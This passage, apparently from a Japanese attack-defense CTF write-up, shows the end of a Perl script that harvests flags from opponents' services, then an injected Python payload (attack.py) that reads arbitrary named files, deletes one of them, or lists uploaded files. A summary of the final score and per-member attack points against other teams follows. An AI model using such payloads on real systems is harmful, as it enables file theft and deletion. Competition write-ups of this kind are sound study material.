"(.+?)"/; #say "$ip: $flag"; my (@flags) = $res->content =~ /OUTDATA = "(.+?)"/g; say "$ip:"; for my $flag (@flags) { say $flag; } } else { warn 'fail'; } }
attack.py:
import os import glob if INDATA != '0': OUTDATA = str([open(f).read() for f in INDATA.split(',')]) os.unlink(INDATA.split(',')[0]) else: f = glob.glob('uploadfiles/*') f.sort(cmp=lambda x, y: int(os.path.getctime(x) - os.path.getctime(y)), reverse=True) OUTDATA = str(f)
まとめ
最終的なスコア。他チームからの攻擊+SLAチェックのfailにより、最終的なdefense scoreがマイナスになった。
攻擊ログが残っていたので、自分のチームの攻擊ポイントをまとめておいた。m1z0r3, MMAからそれぞれ10000ptほど奪うことができたのが大きい。
'akiym' => {
'Aquarium' => 1012,
'IPFactory' => 453,
'TomoriNao' => 643,
'Yozakura' => 269,
'barylite' => 262,
'insecure' => 254,
'm1z0r3' => 7169,
'negainoido' => 1628,
'oishiipp' => 182,
'omakase' => 190,
'security_anthem' => 528
},
'hiromu' => {
'Aquarium' => 543,
'IPFactory' => 581,
'Yozakura' => 192,
'm1z0r3' => 304,
'omakase' => 50,
'wasamusume' => 188
},
'lrks' => {
'MMA' => 9164,
'TomoriNao' => 19,
'Yozakura' => 162,
'insecure' => 91,
'm1z0r3' => 6026,
'negainoido' => 97,
'z_kro' => 93
},
'xrekkusu' => {
'security_anthem' => 2761
}